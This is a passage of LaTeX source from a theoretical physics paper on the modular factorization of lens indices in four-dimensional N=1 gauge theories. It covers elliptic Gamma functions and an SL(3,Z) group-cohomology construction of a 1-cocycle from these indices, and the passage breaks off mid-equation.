This constrains the form of the second variable of the $\Gamma$ functions on the right hand side of \eqref{eq:ZO-gen-fact} as indicated.
Comparing with the factorization conjecture for $Z_\mathcal{O}(\boldsymbol{\rho})$, with $(h,\tilde{h})\in S_{\mathcal{O}}$ as in \eqref{eq:h-ht-S2xT2}, we see again that the property above exactly matches with the conjecture:
\begin{align}
\begin{split}
Z_{\mathcal{O}}(\boldsymbol{\rho})&=e^{-i\pi P^{\textbf{m}}_{1}(\boldsymbol{\rho})}B_h(\boldsymbol{\rho})B_{\tilde{h}}(\mathcal{O}\boldsymbol{\rho})\\
&=e^{-i\pi \tilde{P}^{\textbf{m}}_{1}(\boldsymbol{\rho})}C_h(\boldsymbol{\rho})C_{\tilde{h}}(\mathcal{O}\boldsymbol{\rho})
\end{split}
\end{align}
where the phases are given by:
\begin{align}
\begin{split}
P^{\textbf{m}}_{1}(\boldsymbol{\rho})&=B^{\textbf{m}}_2(z-\tfrac{1}{m};\sigma) +\tfrac{1-m}{m} \,,\\
\tilde{P}^{\textbf{m}}_{1}(\boldsymbol{\rho})&=B^{\textbf{m}}_2(z;\sigma)\,.
\end{split}
\end{align}
These phases can again be understood as changes of variable of the basic case $ P_{t_2^{\mathbf{n}}}(\boldsymbol{\rho};R)$, discussed in \eqref{eq:P1-chiral}, for $R=\mathbf{n}=0$, which is the anomaly polynomial for the $(0,2)$ theory associated with the twisted reduction of the chiral multiplet on $S^2$.
The extension to general R-charge (and flavor symmetry fluxes) is straightforward and left to the reader.
We thus see that the modular properties of the elliptic $\Gamma$ functions precisely match with our modular factorization conjecture in the context of the free chiral multiplet.
We find this agreement between general physical arguments and mathematically rigorous properties of the elliptic $\Gamma$ function remarkable.
\subsubsection{General gauge theories}\label{sssec:proof-gen-gauge-th}
Let us briefly indicate how our proof can be extended to general $\mathcal{N}=1$ gauge theories.
As observed in Section \ref{sssec:gen-gauge-th} in the context of the factorization in terms of $\mathcal{B}^{\alpha}_{S}(\boldsymbol{\rho})$, there are four main ingredients that go into the factorization of a lens index.
The last three points require an update in the context of the more general factorization properties:
\begin{itemize}
\item The modular factorization of the free chiral multiplet index.
\item Invariance of the vortex partition function under $H=SL(2,\mathbb{Z})_{13}\ltimes \mathbb{Z}^2$.
\item Independence of the phase polynomial of the Higgs branch vacuum $\alpha$.
\end{itemize}
The first point we have just demonstrated.
The second point follows from both $S_{13}$ invariance of the vortex partition function and periodicity in both its arguments.
This was indeed shown for SQED in Section \ref{sssec:sqed}.
A more general argument for modular invariance was discussed in \ref{sssec:gen-gauge-th}, and this argument also applies to the more general case considered here.
Finally, the third point also follows from the arguments made in \ref{sssec:gen-gauge-th}, since the phase polynomials for the general factorization properties are simply changes of variables of the phases there.
In particular, independence of $\alpha$ follows from gauge anomaly cancellation.
All in all, this leads to the modular factorization for general $\mathcal{N}=1$ gauge theories.
\section{\texorpdfstring{$\bm{SL(3,\mathbb{Z})}$}{SL(3,Z)} one-cocycle condition and lens indices}\label{sec:gen-modularity}
In this section, we begin with a gentle introduction to the mathematical framework of group cohomology, geared towards a generalization of the notion of a modular form.
The insight of Gadde \cite{Gadde:2020bov} relates lens indices to a non-trivial cohomology class in $H^1(\mathcal{G},N/M)$ with $\mathcal{G}=SL(3,\mathbb{Z})\ltimes \mathbb{Z}^{3r}$.
We establish this connection systematically and rigorously, making use only of the established properties of lens indices in Section \ref{sec:mod-fac-lens-indices}.
Our approach supplies a physical interpretation of the fact that lens indices are related to a non-trivial cohomology class.
Finally, we briefly comment on a cohomological perspective on the modular factorization of lens indices.
\subsection{Modular group cohomology}\label{ssec:mod-group-cohomology}
For concreteness, let us consider the Jacobi group $\mathcal{J}=SL(2,\mathbb{Z})\ltimes \mathbb{Z}^2$.
This group acts by large diffeomorphisms on the complex structure $\tau$ of a torus and by large gauge transformations on a line bundle modulus $z$:
\begin{equation}\label{eq:action-J-chem-pots}
(z;\tau)\to \left(\frac{z}{m\tau+n};\frac{k\tau+l}{m\tau+n}\right)\,,\quad (z;\tau)\to \left(z+a\tau+b;\tau\right)\,.
\end{equation}
A (weight $0$) automorphic form with respect to $\mathcal{J}$ transforms as follows\footnote{The elliptic genera of two-dimensional SCFTs are examples of such forms (see, e.g., \cite{Kawai:1993jk}).}:
\begin{align}\label{eq:defn-autom-form}
\chi\left(z;\tau\right)&=\phi_g(z;\tau)\chi(g^{-1}(z;\tau))\,,
\end{align}
where $\phi_g(z;\tau)$ is a pure phase and known as the automorphic factor.
It satisfies:
\begin{equation}\label{eq:group-homom}
\phi_{g_1g_2}(z;\tau)=\phi_{g_1}(z;\tau)\phi_{g_2}(g_1^{-1}\cdot(z;\tau))\,.
\end{equation}
In general, $\chi(z;\tau)$ is a meromorphic function of $(z;\tau)$.
Following~\cite{Felder_2000} (see also~\cite{Gadde:2020bov}), we will now set up a general framework that allows us to identify such automorphic forms as elements of the zeroth group cohomology $H^0(\mathcal{J},N/M)$ of the Jacobi group $\mathcal{J}$, valued in $N/M$ to be defined momentarily.
To this end, let us look at the group of $k$-cochains $C^{k}(G,A)$, where $G$ will be a modular group such as $\mathcal{J}$ and with $A$ a multiplicative abelian group of functions.
The group $C^{k}(G,A)$ consists of $k$-cocycles $\alpha:G^k\to A$ such that $\alpha_{g_1,\ldots,g_k}=1$ if $g_j=1$ for some $j$.
Furthermore, one defines $C^{0}(G,A)=A$.
Let us denote by $Y$ a complex manifold endowed with an action of $G$.
We parametrize the manifold in terms of a set of complex variables collectively denoted by $\boldsymbol{\rho}$.
For example, when $G=\mathcal{J}$ we take $\boldsymbol{\rho}=(z;\tau)$ with $z\in \mathbb{C}$ and $\tau\in \mathbb{H}$ and the action is as in \eqref{eq:action-J-chem-pots}.
The other relevant example will be $G=\mathcal{G}$, discussed in Section \ref{ssec:hopf-surfaces}, in which case we have $\boldsymbol{\rho}=(z;\tau,\sigma)$ with $z\in \mathbb{C}$ and $\tau,\sigma\in \mathbb{H}$, and the action is as in \eqref{eq:calG-action}.
In addition, $A$ will take three concrete forms: the group of meromorphic functions $N$ on $Y$, the group of holomorphic, nowhere vanishing functions $M$ on $Y$, or the quotient $N/M$.
Note that $M$ is nothing but the set of (holomorphic) phases.
These three groups fit into a short exact sequence:
\begin{equation}\label{eq:short-exact-seq}
1\to M\to N\to N/M \to 1\,.
\end{equation}
The $G$-action on $Y$ induces an action on $\alpha_{g_1,\ldots,g_k}(\boldsymbol{\rho})\in A$ as follows:
\begin{equation}
g\cdot \alpha_{g_1,\ldots,g_k}(\boldsymbol{\rho})\equiv \alpha_{g_1,\ldots,g_k}(g^{-1}\boldsymbol{\rho})\,.
\end{equation}
\begin{figure}[t]
\centering
\begin{subfigure}[t]{0.49\textwidth}
\centering
\begin{tikzpicture}[scale=0.7]
\begin{scope}[decoration={ markings,mark=at position 0.57 with {\arrow{Latex[scale=1.15]}}}]
\draw[{Circle[]}-{Circle[]},postaction={decorate}] (0,0) -- node[below=1.5mm] {$g$} (2,0);
\end{scope}
\end{tikzpicture}
\caption{$(\delta \alpha)_g(\boldsymbol{\rho})=\frac{\alpha(\boldsymbol{\rho})}{\alpha(g^{-1}\boldsymbol{\rho})}$}
\label{fig:alpha0}
\end{subfigure}
\hfill
\begin{subfigure}[t]{0.49\textwidth}
\centering
\begin{tikzpicture}[scale=0.7]
\begin{scope}[decoration={ markings,mark=at position 0.57 with {\arrow{Latex[scale=1.15]}}}]
\draw [{Circle[]}-{Circle[]},postaction={decorate}] (0,0) -- node[below=1.5mm] {$g_1$} (2,0) ;
\draw [{}-{Circle[]},postaction={decorate}] (2,0) -- node[right=1.5mm] {$g_2$} (1,{sqrt(3)});
\draw [postaction={decorate}] (0,0) -- node[left=1.5mm] {$g_1g_2$} (1,{sqrt(3)}) ;
\end{scope}
\end{tikzpicture}
\caption{$(\delta\alpha)_{g_1,g_2}(\boldsymbol{\rho})=\frac{\alpha_{g_1}(\boldsymbol{\rho})\alpha_{g_2}(g_{1}^{-1}\boldsymbol{\rho})}{\alpha_{g_1g_2}(\boldsymbol{\rho})}$}
\label{fig:alpha1}
\end{subfigure}
\par
\begin{subfigure}[t]{1\textwidth}
\centering
\begin{tikzpicture}[scale=0.9]
\begin{scope}[decoration={ markings,mark=at position 0.5 with {\arrow{Latex[scale=1.15]}}}]
\draw [{Circle[]}-{Circle[]},postaction={decorate}] (0,0) -- node[below=1.5mm] {$g_1$} (4,0) ;
\draw [{}-{Circle[]},postaction={decorate}] (4,0) -- node[right=1.5mm] {$g_2$} (2,{sqrt(12)});
\draw [postaction={decorate}] (0,0) -- node[left=1.5mm] {$g_1g_2$} (2,{sqrt(12)});
\draw[dashed,{}-{Circle[]},postaction={decorate}] (2,{sqrt(12)}) -- node[left=0.5mm] {$g_3$} (2,{0.3*sqrt(12)}) ;
\draw[dashed,postaction={decorate}] (0,0) -- node[above=1mm] {$g_1g_2g_3$} (2,{0.3*sqrt(12)}) ;
\draw[dashed,postaction={decorate}] (4,0) -- node[above=1mm] {$g_2g_3$} (2,{0.3*sqrt(12)}) ;
\end{scope}
\end{tikzpicture}
\caption{$(\delta\alpha)_{g_1,g_2,g_3}(\boldsymbol{\rho})=\frac{\alpha_{g_1,g_2}(\boldsymbol{\rho})\alpha_{g_1g_2,g_3}(\boldsymbol{\rho})}{\alpha_{g_1,g_2g_3}(\boldsymbol{\rho})\alpha_{g_2,g_3}(g_1^{-1}\boldsymbol{\rho})}$}
\label{fig:alpha2}
\end{subfigure}
\caption{In the graphical representation, the right hand side of the equation reflects the boundary components of the left hand side. The arrows indicate the orientation of the boundary components and determine whether $\alpha_{g_1,\ldots,g_k}(\boldsymbol{\rho})$ ends up in the numerator or denominator.
In the above, the arrows are directed such that there is a single point/edge/face not anchored to the same point as all other points/edges/faces. This is reflected by the action of $g_{1}$ on the relevant $\alpha_{g_1,\ldots,g_k}(\boldsymbol{\rho})$.
An arrow can be flipped at the expense of inverting the group element, its orientation and anchoring point: $\alpha_{g_1,\ldots,g_k}(\boldsymbol{\rho})=1/\alpha_{g_1^{-1},g_1g_2,\ldots,g_1g_k}(g_1^{-1}\boldsymbol{\rho})$.}
\label{fig:group-coh}
\end{figure}
\noindent To construct the cohomology groups, one defines a coboundary operator $\delta\equiv\delta_k$ from $C^{k}(G,A)\to C^{k+1}(G,A)$ via:
\begin{align}
\begin{split}
&(\delta\alpha)_{g_1,\ldots,g_{k+1}}(\boldsymbol{\rho})=\alpha_{g_1,\ldots,g_k}(\boldsymbol{\rho})\\
&\left(\alpha_{g_2,\ldots,g_{k+1}}(g_{1}^{-1}\boldsymbol{\rho})\prod_{j=1}^{k}\alpha_{g_1,\ldots,g_jg_{j+1},\ldots,g_{k+1}}(\boldsymbol{\rho})^{(-1)^{j}}\right)^{(-1)^{k+1}}\,,
\end{split}
\end{align}
where we recall that $A$ is defined multiplicatively.
Furthermore, for $k=0$:
\begin{equation}
(\delta \alpha)_{g}(\boldsymbol{\rho})=\frac{\alpha(\boldsymbol{\rho})}{\alpha(g^{-1}\boldsymbol{\rho})}\,.
\end{equation}
We have illustrated this equation in Figure \ref{fig:group-coh} for $k=0,1,2$.
One may verify that $\delta^2=1$, as appropriate for a coboundary operator.
We can thus define cohomology groups as:
\begin{equation}
H^{k}(G,A)=\frac{\ker \delta_{k}}{\text{im}\; \delta_{k-1}}\, ,\, k\geq 1\,,\quad H^{0}(G,A)=\ker \delta_{0}\,.
\end{equation}
Having set up the basic language, we can now describe the property \eqref{eq:defn-autom-form}.
Consider an element $\chi\in C^{0}(\mathcal{J},N)=N$.
This function is a weight $0$ automorphic form if:
\begin{equation}\label{eq:autom-form-defn}
(\delta \chi)_g(\boldsymbol{\rho})=\frac{\chi(\boldsymbol{\rho})}{\chi(g^{-1}\boldsymbol{\rho})}=\xi_g(\boldsymbol{\rho})\,,\qquad \xi_g(\boldsymbol{\rho})\in C^1(G,M)\,,
\end{equation}
with $\xi_g$ the factor of automorphy.
Note that the cohomological structure automatically ensures the condition \eqref{eq:group-homom}:
\begin{equation}
(\delta \xi)_{g_1,g_2} =1\quad \Rightarrow \quad \frac{\xi_{g_1} (\boldsymbol{\rho})\xi_{g_2} (g^{-1}_1\boldsymbol{\rho})}{\xi_{g_1g_2} (\boldsymbol{\rho})}=1\,.
\end{equation}
It follows that such a $\chi$ can be thought of as an element in $H^0(\mathcal{J},N/M)$, since it is annihilated by $\delta$ modulo $M$.
This brings us to the claim at the beginning of this section.
The equivalence class $[\chi]$ of an automorphic form $\chi$ modulo $M$ corresponds to a cohomology class in $H^1(\mathcal{J},M)$.
To see this, consider the product of the automorphic form $\chi$ with a phase $\phi\in M$.
Let $\xi_g=(\delta\chi)_g$ and $\psi_g=(\delta(\chi \phi))_g$.
Since $\psi_g=\xi_g (\delta \phi)_g$, it follows that $\xi_g$ and $\psi_g$ sit in the same cohomology class in $H^1(\mathcal{J},M)$.
As in \cite{Felder_2000}, we call this map from $H^0(\mathcal{J},N/M)$ to $H^1(\mathcal{J},M)$: $\delta_*[\chi]\equiv[\delta\chi]$.
Note that the definition of $\delta_*$ generalizes to higher degree.
Together with the short exact sequence~\eqref{eq:short-exact-seq}, it induces a long exact sequence:
\begin{equation}
\cdots H^{k-1}(G,N/M) \xrightarrow{\delta_*} H^k(G,M) \xrightarrow{i_*} H^k(G,N)\xrightarrow{p_*} H^k(G,N/M) \xrightarrow{\delta_*} H^{k+1}(G,M) \cdots \,,
\end{equation}
where $i_*$ and $p_*$ lift the inclusion and projection of the short exact sequence to the cohomology groups.
For exactness at the node $H^k(G,M)$, we first note that the trivial class in $H^k(G,N)$ is of the form $\delta C^{k-1}(G,N)$.
Therefore, $\ker \, i_*$ contains all cocycles $[\xi_{g_1,\ldots,g_{k}}]\in H^k(G,M)$ that can be written as:
\begin{equation}
[\xi_{g_1,\ldots,g_{k}}]=[\delta(\chi)_{g_1,\ldots,g_{k}}]=\delta_* ([\chi])_{g_1,\ldots,g_{k}}\,,\quad \chi_{g_1,\ldots,g_{k-1} }\in C^{k-1}(G,N)\,,
\end{equation}
where we have used the definition of $\delta_*$.
We thus see that $\text{im}\; \delta_*=\ker i_*$.
This implies, in particular, that $\ker i_*\subset H^1(G,M)$ classifies automorphic forms modulo $M$.
Exactness at the other nodes follows similarly.
Let us now focus on $H^1(\mathcal{G},N/M)$.
The elliptic $\Gamma$ function can be understood as part of a class $H^1(\mathcal{G},N/M)$, as first discussed in \cite{Felder_2000} (see also \cite{Jejjala:2021hlt} for a recent review).
From the above, a class $[X_g]\in H^1(\mathcal{G},N/M)$ satisfies a $1$-cocycle condition:
\begin{equation}\label{eq:basic-mod-prop-H1}
\delta(X)_{g_1,g_2}(\boldsymbol{\rho})=\frac{X_{g_1}(\boldsymbol{\rho})X_{g_2}(g_1^{-1}\boldsymbol{\rho})}{X_{g_1g_2}(\boldsymbol{\rho})}=\xi_{g_1,g_2}(\boldsymbol{\rho})\,,\quad \xi_{g_1,g_2}(\boldsymbol{\rho})\in C^2(\mathcal{G},M)\,.
\end{equation}
We view this property as the degree $1$ analogue of the automorphic property~\eqref{eq:autom-form-defn}.
As stressed in~\cite{Jejjala:2021hlt}, the properties of $X_g$ are associated to relations in the relevant modular group.
This should be contrasted with the degree $0$ case, where modular properties are labeled by elements of the modular group.
Note that the case $g_2=g_1^{-1}$ in particular implies:
\begin{equation}\label{eq:inverse-cocycle}
X_{g}(\boldsymbol{\rho})=\frac{1}{X_{g^{-1}}(g^{-1}\boldsymbol{\rho})}\,,
\end{equation}
where we use the choice $\xi_{g,g^{-1}}=1$ \cite{Felder_2000}.
Moreover, note that $\xi_{g_1,g_2}$ satisfies:
\begin{equation}\label{eq:2-cocycle-cond}
(\delta \xi)_{g_1,g_2,g_3}=1 \quad \Rightarrow \quad \frac{\xi_{g_1,g_2} (\boldsymbol{\rho})\xi_{g_1g_2,g_3} (\boldsymbol{\rho})}{\xi_{g_1,g_2g_3} (\boldsymbol{\rho})\xi_{g_2,g_3} (g^{-1}_1\boldsymbol{\rho})}=1\,.
\end{equation}
This is a $2$-cocycle condition and the analogue of \eqref{eq:group-homom}.
It will be important in the following that at degree $1$ there is a notion of exact or trivializable elements.
Indeed, such classes can be written as:
\begin{equation}\label{eq:triv-Xg}
[X_{g}]=[ (\delta B)_{g}]=\left[\frac{B(\boldsymbol{\rho})}{B(g^{-1}\boldsymbol{\rho})}\right]\,,
\end{equation}
with $B\in C^{0}(\mathcal{G},N)=N$.
Any $[X_{g}]$ of this form trivially satisfies \eqref{eq:basic-mod-prop-H1}, as can be easily verified.
Similar to ordinary differential forms, it will always be possible to find a locally exact expression for $[X_g]\in H^1(\mathcal{G},N/M)$, i.e., for some $g\in \mathcal{G}$.
But if $[X_g]\in H^1(\mathcal{G},N/M)$ corresponds to a non-trivial class, there exists no function $B$ such that~\eqref{eq:triv-Xg} holds for all $g$.
The $1$-cocycle condition implies that a class $[X_g]\in H^{1}(\mathcal{G}, N/M)$ is defined by its values on the generators of $\mathcal{G}$.
Consider now the free group formed by the generators $T_{ij}$ and $t_i$ of $\mathcal{G}$.\footnote{See Section \ref{sec:heegaard-splitting} for definitions. We omit the label $(a)$ on $t_i$ for notational convenience.}
Any set of functions in $N/M$ associated to the generators provides a $1$-cocycle $X_g$ for the free group.
This set of functions descends to a $1$-cocycle for $\mathcal{G}$ if and only if the relations in $\mathcal{G}$ are sent to one \cite{Felder_2000}.
The $SL(3,\mathbb{Z})$ relations~\eqref{eq:sl3-relns} require:
\begin{align}\label{eq:Felder-relations}
\begin{split}
&X_{T_{ij}}\left(\boldsymbol{\rho}\right)X_{T_{kl}}\left(T_{ij}^{-1}\boldsymbol{\rho}\right)\cong X_{T_{kl}}\left(\boldsymbol{\rho}\right)X_{T_{ij}}\left(T_{kl}^{-1}\boldsymbol{\rho}\right)\,, \qquad i\neq l \,,\quad j\neq k \,, \\
&X_{T_{ij}}\left(\boldsymbol{\rho}\right)X_{T_{jk}}\left(T_{ij}^{-1}\boldsymbol{\rho}\right)\cong X_{T_{ik}}\left(\boldsymbol{\rho}\right)X_{T_{jk}}\left(T_{ik}^{-1}\boldsymbol{\rho}\right) X_{T_{ij}}\left(T_{jk}^{-1}T_{ik}^{-1}\boldsymbol{\rho}\right) \,, \\
&X_{S_{ij}}\left(\boldsymbol{\rho}\right)X_{S_{ij}}\left(S_{ij}^{-1}\boldsymbol{\rho}\right)X_{S_{ij}}\left(S_{ij}^{-2}\boldsymbol{\rho}\right)X_{S_{ij}}\left(S_{ij}^{-3}\boldsymbol{\rho}\right)\cong 1\,,
\end{split}
\end{align}
where the $\cong$ sign indicates that these equations should hold up to multiplication by a phase, i.e., an element in $C^2(\mathcal{G},M)$.
In addition, $X_g$ must satisfy the mixed relations between the $T_{ij}$ and $t_i$ given in \eqref{eq:Z3-relns}:
\begin{align}\label{eq:Felder-relations-2}
\begin{split}
&X_{T_{ij}}\left(\boldsymbol{\rho}\right)X_{t_k}\left(T_{ij}^{-1}\boldsymbol{\rho}\right)\cong X_{t_k}\left(\boldsymbol{\rho}\right)X_{T_{ij}}\left(t_k^{-1}\boldsymbol{\rho}\right)\,, \qquad i\neq k \,, \\
&X_{T_{ij}}\left(\boldsymbol{\rho}\right)X_{t_i}\left(T_{ij}^{-1}\boldsymbol{\rho}\right)\cong X_{t_i}\left(\boldsymbol{\rho}\right)X_{t_j^{-1}}\left(t_i^{-1}\boldsymbol{\rho}\right) X_{T_{ij}}\left(t_jt_i^{-1}\boldsymbol{\rho}\right)\,,\\
&X_{t_i}\left(\boldsymbol{\rho}\right)X_{t_j}\left(t_i^{-1}\boldsymbol{\rho}\right)\cong X_{t_j}\left(\boldsymbol{\rho}\right)X_{t_i}\left(t_j^{-1}\boldsymbol{\rho}\right)\,.
\end{split}
\end{align}
We now turn to the physical relevance of this construction.
\subsection{The 1-cocycle condition and lens indices}\label{ssec:1-cocycle-lens-indices}
In this section, we systematically prove that the candidate $1$-cocycle of \cite{Gadde:2020bov}, constructed from the collection of lens indices, realizes a non-trivial class in $H^1(\mathcal{G},N/M)$ for general $\mathcal{N}=1$ gauge theories with a global symmetry.\footnote{This requirement follows from the requirement of (even) integral R-charges. See Section \ref{ssec:towards-conjecture} for more details. In addition, due to the non-renormalization of indices the proof also applies to IR SCFTs that can be reached through supersymmetric flows from the $\mathcal{N}=1$ gauge theories.}
Our proof is based on three main results from Section \ref{sec:mod-fac-lens-indices}:
\begin{enumerate}
\item Ambiguities in the Heegaard splitting lead to the same lens index:
\begin{equation}\label{eq:ambig-heegaard-index}
\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})=\mathcal{Z}_{f}(\boldsymbol{\rho})=\mathcal{Z}_{hf\tilde{h}^{-1}}(h\boldsymbol{\rho})\,.
\end{equation}
\item Invariance of the lens indices under the action of their respective groups of large diffeomorphisms and gauge transformations, up to a phase.
More specifically, we use periodicity of the superconformal index $\mathcal{Z}_{S_{23}\mathcal{O}}(\boldsymbol{\rho})$ under $z_a\to z_a+1$, $\tau\to\tau+1$ and $\sigma\to \sigma +1$ and the covariance of $\mathcal{Z}_{t_2^{n}\mathcal{O}}$ under an entire copy of $\mathcal{H}$.
\item Modular factorization of lens indices:
\begin{equation}\label{eq:mod-fact-conj-proof}
\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})=e^{-i\pi \mathcal{P}^{\mathbf{m}}_f(\boldsymbol{\rho})} \sum_{\alpha} \mathcal{B}^\alpha_{h}(\boldsymbol{\rho})\mathcal{B}^\alpha_{\tilde{h}}(f^{-1}\boldsymbol{\rho})\,,\qquad (h,\tilde{h})\in S_f\subset H\times H\,.
\end{equation}
\end{enumerate}
The first two points were discussed in Section \ref{ssec:towards-conjecture} and Section \ref{ssec:hol-blocks}, respectively, and the last point in Section \ref{ssec:mod-fact-conjecture}.
Let us summarize the strategy of our proof here.
\begin{enumerate}
\item After constructing the candidate $1$-cocycle for $\mathcal{G}$ we evaluate it on the generators, which using \eqref{eq:ambig-heegaard-index} can be expressed in terms of $\mathcal{Z}_{S_{23}\mathcal{O}}$ and $\mathcal{Z}_{\mathcal{O}}$.
\item Using these expressions, we show that it satisfies all basic relations in $\mathcal{G}$, i.e., we verify \eqref{eq:Felder-relations}, \eqref{eq:Felder-relations-2} and also the inverse relation \eqref{eq:inverse-cocycle}.
The relations separate into three classes that require distinct properties of the lens indices to prove:
\begin{enumerate}
\item Relations that only involve generators in $\mathcal{H}\subset \mathcal{G}$.
These relations can be proven making use of the first result above.
\item Relations that involve strictly one element in $\lbrace T_{12},T_{32},t_{2}\rbrace$.
These relations can be proven making use of both the first and second result.
\item Relations that involve more than one element in $\lbrace T_{12},T_{32},t_{2}\rbrace$.
These relations can be proven making use of the third result.
\item The relation between an element and its inverse is also proven using the third result.
\end{enumerate}
\item Finally, we show that the $1$-cocycle defines a non-trivial class in $H^1(\mathcal{G},N/M)$ and provide a physical interpretation in terms of the results of Section \ref{ssec:geom-int-univ-blocks}.
\end{enumerate}
Our proof can be viewed as a generalization to arbitrary gauge theories of the proof in \cite{Felder_2000} that the elliptic $\Gamma$ function is part of a $1$-cocycle for $\mathcal{G}$, which in the physical context corresponds to the example of the free chiral multiplet \cite{Gadde:2020bov,Jejjala:2021hlt}.
\paragraph{A candidate $\mathbf{1}$-cocycle:}
The first result above implies that there always exists a lens index $\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})$ that can be associated to $\mathcal{Z}_f(\boldsymbol{\rho})$ with $f=g\,\mathcal{O}$ and $g\in \mathcal{G}$ arbitrary.
This follows from the standard Heegaard splitting of a Hopf surface \eqref{eq:notation-Mg-split} in terms $f=g_{(p,q)}\,\mathcal{O}$ and our observation in \eqref{eq:gSL2-from-gSL3}.
In addition, recall that there is a natural $\mathcal{G}$ action \eqref{eq:calG-action} on $\boldsymbol{\rho}$.
These are two key features shared with a $1$-cocycle $X_g(\boldsymbol{\rho})$ of $\mathcal{G}$.
However, a $1$-cocycle has two other basic properties not shared by the indices: first of all, it obeys $X_1(\boldsymbol{\rho})= 1$, and secondly it is defined multiplicatively.
In contrast, the index $\mathcal{Z}_\mathcal{O}(\boldsymbol{\rho})$ is not trivial, and moreover the Higgs branch expression for a lens index mixes sums and products.
However, the factorization of a lens index is uniform over the Higgs branch vacua $\alpha$, since the relative phase (the anomaly polynomial) does not depend on $\alpha$. Taken together, this suggests a natural candidate $1$-cocycle \cite{Gadde:2020bov}:\footnote{We label $ \hat{\mathcal{Z}}^{\alpha}_g(\boldsymbol{\rho})$ by $g$ because it will turn out that the dependence on the orientation reversed moduli drops out.}
\begin{equation}\label{eq:defn-hatZ}
\hat{\mathcal{Z}}^{\alpha}_g(\boldsymbol{\rho})\equiv \frac{\mathcal{Z}^{\alpha}_f(\boldsymbol{\rho})}{\mathcal{Z}^{\alpha}_\mathcal{O}(g^{-1}\boldsymbol{\rho})}\,,\qquad f=g\,\mathcal{O}\,,
\end{equation}
where $\mathcal{Z}^{\alpha}_f(\boldsymbol{\rho})$ is the summand in the expression \eqref{eq:lens-higgs-form} for the index $\mathcal{Z}_f(\boldsymbol{\rho})$.
This ratio clearly satisfies the first property, and we will see that it also fits into a multiplicative structure.
As such, this object defines a $1$-cocycle for the free group of generators of $\mathcal{G}$.
Before turning to the $\mathcal{G}$ relations, we first show that the $1$-cocycle evaluated on the generators can be expressed in terms of $\mathcal{Z}_{S_{23}\mathcal{O}}$ and $\mathcal{Z}_{\mathcal{O}}$.%
Using the first result \eqref{eq:ambig-heegaard-index} for $f=\mathcal{O}$, $h\in \mathcal{H}$ general and $\tilde{h}=\mathbbm{1}$, we have:
\begin{equation}
\mathcal{Z}_{h\mathcal{O}}^{\alpha}(h\boldsymbol{\rho})= \mathcal{Z}_{\mathcal{O}}^{\alpha}(\boldsymbol{\rho})\quad \Rightarrow\quad \hat{\mathcal{Z}}_{h}^{\alpha}(\boldsymbol{\rho})=1\,.
\end{equation}
We thus find for all generators in $\mathcal{H}$:
\begin{align}\label{eq:hatZ-Tij-jneq2}
\begin{split}
\hat{\mathcal{Z}}_{T_{ij}}^{\alpha}(\boldsymbol{\rho})= 1\,,\quad j\neq 2\,,\qquad \hat{\mathcal{Z}}_{t_i}^{\alpha}(\boldsymbol{\rho})= 1\,,\quad i\neq 2\,,
\end{split}
\end{align}
and similarly for their inverses.
This establishes a similar claim in \cite{Gadde:2020bov} rigorously.
It follows that \eqref{eq:inverse-cocycle} is trivially satisfied for elements in $\mathcal{H}$.
We now compute $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ for the remaining generators $T_{i2}$ and $t_2$, again making use of \eqref{eq:ambig-heegaard-index}.
For example, since $T_{32}^{-1}\mathcal{O}=T_{23}^{-1}S_{23}\mathcal{O}\,T_{23}$ and $T_{23}\in \mathcal{H}$ (see \eqref{eq:T32-as-S23}), we find:
\begin{equation}\label{eq:hatZ-T32}
\hat{\mathcal{Z}}^{\alpha}_{T_{32}^{-1}}(\boldsymbol{\rho})\cong \hat{\mathcal{Z}}^{\alpha}_{S_{23}}(T_{23}\boldsymbol{\rho})\,,
\end{equation}
where we have made use of the second result listed above for the $S^2\times T^2$ index:
\begin{equation}\label{eq:S2xT2-mod-cov}
\mathcal{Z}_{\mathcal{O}}^{\alpha}(h\boldsymbol{\rho})\cong \mathcal{Z}_{\mathcal{O}}^{\alpha}(\boldsymbol{\rho})\,,\qquad h\in \mathcal{H}\,.
\end{equation}
Similarly, since $T_{12}^{-1}\mathcal{O}=S_{13}\,T_{32}^{-1}\mathcal{O}\,S_{13}^{-1}$ we find:
\begin{equation}\label{eq:hatZ-T12}
\hat{\mathcal{Z}}^{\alpha}_{T_{12}^{-1}}(\boldsymbol{\rho})\cong \hat{\mathcal{Z}}^{\alpha}_{S_{23}}(T_{23}S_{13}^{-1}\boldsymbol{\rho})\,,
\end{equation}
where we have again made use of \eqref{eq:S2xT2-mod-cov}.
So far, we have evaluated $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ on $T_{12}^{-1}$ and $T_{32}^{-1}$.
For now, we only consider relations involving these inverses, and later show that $\hat{\mathcal{Z}}^{\alpha}_{(\cdot)}$ on $T_{12}$ and $T_{32}$ correctly reflects \eqref{eq:inverse-cocycle}.
Finally, the index associated to $t_2$ is an $S^2\times T^2$ index with an additional unit of magnetic flux for the flavor symmetry associated to $t_2$.\footnote{We suppress the superscript $t_i^{(a)}$ with $a=1,\ldots,r$ and $r$ the rank of the flavor symmetry for notational convenience.}
We simply write out the definition in this case:
\begin{equation}\label{eq:hatZ-t2}
\hat{\mathcal{Z}}_{t_2}^{\alpha}(\boldsymbol{\rho})=\frac{\mathcal{Z}^{\alpha}_{t_2\mathcal{O}}(\boldsymbol{\rho})}{\mathcal{Z}^{\alpha}_\mathcal{O}(\boldsymbol{\rho})}\,,
\end{equation}
where we recall that the second result above holds for both numerator and denominator.
Having expressed the candidate $1$-cocycle on all generators of $\mathcal{G}$, we now turn to check that it satisfies the basic relations of $\mathcal{G}$.
\paragraph{Basic relations (a):}
Due to \eqref{eq:hatZ-Tij-jneq2}, all relations that only involve $T_{ij},t_i\in\mathcal{H}$ are trivially satisfied.
In particular, the relation associated to $S_{13}^4=\mathbbm{1}$ is satisfied.
The relations $S_{12}^4=S_{23}^4=\mathbbm{1}$ follow from the former as long as the first and second line of \eqref{eq:Felder-relations} are satisfied as well.
Therefore, the non-trivial relations to be checked are the first two relations in \eqref{eq:Felder-relations} and the relations in \eqref{eq:Felder-relations-2} that involve at least one element in $\lbrace T_{12}^{-1},T_{32}^{-1},t_2 \rbrace$.
\paragraph{Basic relations (b):}
We now turn to the relations that involve one element in $\lbrace T_{12}^{-1},T_{32}^{-1},t_{2}\rbrace$.
For the $SL(3,\mathbb{Z})$ part of these relations, we have to check:
\begin{equation}\label{eq:sl3-reln-1-T32}
